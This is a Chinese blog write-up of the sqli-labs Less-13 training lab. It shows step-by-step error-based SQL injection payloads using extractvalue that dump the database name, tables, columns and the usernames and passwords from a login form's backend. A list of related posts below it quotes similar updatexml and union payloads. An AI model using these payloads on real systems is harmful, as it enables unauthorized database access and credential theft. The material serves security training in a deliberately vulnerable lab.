sqli-labs/Less-13

最新推荐文章于 2023-07-24 10:01:00 发布

axihaihai

最新推荐文章于 2023-07-24 10:01:00 发布

阅读量262

点赞数

文章标签：数据库 sql mysql

本文链接：https://blog.csdn.net/m0_71299382/article/details/127928142

版权

首先需要判断一下注入类型

输入如下

admin'

存在报错信息所以可以进行报错注入但是无论正确与否都不会存在回显所以不能使用联合注入这题我们就是用报错注入吧然后从报错信息我们可以知道注入类型为单引号注入而且带有一个括号

我们进行作证输入如下

admin')#

显示登陆成功我们的判断是正确的

接下来进行爆库操作

输入如下

admin') and extractvalue(1,concat(0x7e,database(),0x7e));#

回显如下

接着进行报表操作

输入如下

admin') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e));#

回显如下

接着进行爆字段操作

输入如下

admin') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e));#

回显如下

最后进行爆用户名和密码操作

admin') and extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e));#

好了成功解题！！！嗨嗨

优惠劵

axihaihai

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
打赏
1
评论
sqli-labs/Less-13

sqli-labs第十三关
复制链接

扫一扫

sqli-labs less1.txt

11-26

sqli-labs less1 sql注入第一题，单引号闭合，详细全程，web注入实验，学习sql注入

sqli-labs通关（十三）

qq_65950075的博客

05-03

525

报错原理：xml文档中查找字符位置是用/xxx/xxx/xxx/...这种格式，如果写入其他格式就会报错，并且会返回写入的非法格式内容，错误信息如：XPATH syntax error:'xxxxxxxx‘没有任何的返回信息，只有报错信息，那我们就用报错注入，让返回的报错信息包含我们的想要的信息。0x7e是~的意思，用concat拼接我们的sql语句，不符合xml文档的格式，就会报错，参数2：XPath_string(Xpath格式的字符串)，注入时可操作的地方。作用：改变文档中符合条件的节点的值。

1 条评论您还未登录，请先登录后发表或查看评论

sql二次注入-sqli-labs第13关

weixin_46784800的博客

11-04

917

获取数据操作判断所查询数据库中包含的列数采用post进行参数输入： uname=') order by 3 -- - &passwd=') -- - 通过对查询结果进行排序，发现无法对第三列进行排序，且报错Unknown column ‘3’ in ‘order clause’，则说明所查询数据库中共有两列数据。判断输出数据与数据库的联系输入语句 uname=') or 1=1 -- - &passwd=') -- - 可发现界面只有登录成功的提示，则说明该网站为盲注，则

[网络安全]sqli-labs Less-13 解题详析

等风来

07-24

2307

以上为[网络安全]sqli-labs Less-13 解题详析，后续将分享[网络安全]sqli-labs Less-14 解题详析我是秋说，我们下次见。

sqli - labs - 13 ~ 14

m0_62102000的博客

07-15

239

sqli - labs - 13 ~ 14

SQLi LABS Less-13 报错注入+布尔盲注

热门推荐

wangyuxiang946的博客

06-21

1万+

SQLi 第十三关，SQLi-LABS Less-13，SQLi-LABS Less 13，SQLiLABS Less13，SQLi Less 13

sqlilabs less13~14

TA不懒，但还没有添加简介

07-01

263

sqlilabs less13

sqli-labs-master靶场安装下载

04-01

安装phpstudy、sqli-labs 适合人群：小白安装sqli-labs报错如何解决

sqli-labs-master.zip

11-20

windows环境下安装sqli-labs

11-04

windows server 2012 环境下，安装sqli-labs的详细教程，适合新手小白，大神可以参考一下，有不足的地方请联系我。

sqli-labs靶场Less-13

songling515010475的专栏

08-25

130

1、访问首页，/Less-13/index.php，这里的传参点是表单中的uname、passwd 探测六步判断是否是数字形传参判断是否有单引号闭合判断是否是双引号闭合判断是否单引号+括号闭合判断是否是双引号+括号闭合判断是否是延时盲注分析：这里是单引号+括号闭合，但这里正确时并没有显示点，但在探测过程中会报SQL语名错误的内容，所以这里判断可以用报错注入。 2、尝试使用报错注入 admin') and updatexml(1,concat(0x7e,(select .

Sqlilabs Less-13

Light_inthe_eyes的博客

03-04

254

判断是单引号单括号字符型注入，并且成功注入时无回显，所以用报错注入： uname=admin')&passwd=&submit=Submit uname=admin')#&passwd=&submit=Submit 判断列数： uname=admin')+order+by+2#&passwd=&submit=Submit 爆库： uname=admin')+and+extractvalue(1,concat(0x7e,(select+database()

sqli-labs (less-13)

kukudeshuo的博客

03-09

871

sqli-labs (less-13) 进入13，输入用户名和密码登入，利用hackbar抓取POST请求，但是这里我们发现屏幕上这次没有数据回显了，这也说明我们这里不能再使用union注入了输入 uname=admin'&passwd=admin&submit=Submit #页面回显错误信息通过报错信息我们知道闭合方式为’)，并且为字符型注入因为这里没有数据回显，但是我们观察到有完整的错误信息，所以这里可以使用Boolean盲注报错注入攻击 Boolean盲注查看当前数据库

sqli-labs ————less -13

Fly_鹏程万里

05-11

977

Less -13源代码：<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head&g..

[SQLi-LABS] Less-13

Stan冲冲冲

05-12

141

可以用盲注和双注 ')or 1=1# ')union select count(*),concat((select database()),floor(rand()*2)) as a from information_schema.columns group by 2# //爆库 ')union select count(*),concat((select group_concat(table_name) from information_schema.tables where table_sche

sqli-lab(13)

weixin_30664615的博客

05-24

131

Double Injection- String- with twist（双注入 - 字符型 - 变形）来进行我们的注入测试直接闭合，用户名和密码输入“ ‘) or (‘1’) = (‘1%23 ” 双引号里面的语句，前面的单引号加括号和sql中的括号单引号闭合，后边的也闭合了，看图片：一切都是对的，为什么还是登录失败？因为username那儿变成空的了，所以前面随便加上一个用...

sqli-labs:less-13

羽的博客

07-24

167

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; cha...

sqli-labs-master第13、14关。

m_ing

05-13

1143

前言：输入内容被放到双引号中，报错型注入，注释符不可用第十三关： http://192.168.89.134/sqli-labs-master/Less-13/ 先输入：admin’）我们还是分析一下：我们接着用and来测试。 admin’) and 1=2# -admin’) union selec 1,2#联合查询还是没有报错，那我们就用报错语句来测试吧，这次我使用extractvalue（）显示版本，数据库 admin’) and extractvalue(1,concat(0x7

2020.4.4 sqli-labs--第十三、十四关③

DSR446的博客

04-04

338

Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入) 方法一通过报错可知是通过’) 闭合的发现没有登入成功返回信息，看来是要盲注了万能密码: 账号admin’)# 密码：随便方法二：既然它返回错误信息了，说明有回显，可以报错注入。 数据库名 uname=admin') and e...

sqli-labs/Less-28

“相关推荐”对你有帮助么？

非常没帮助
没帮助
一般
有帮助
非常有帮助

提交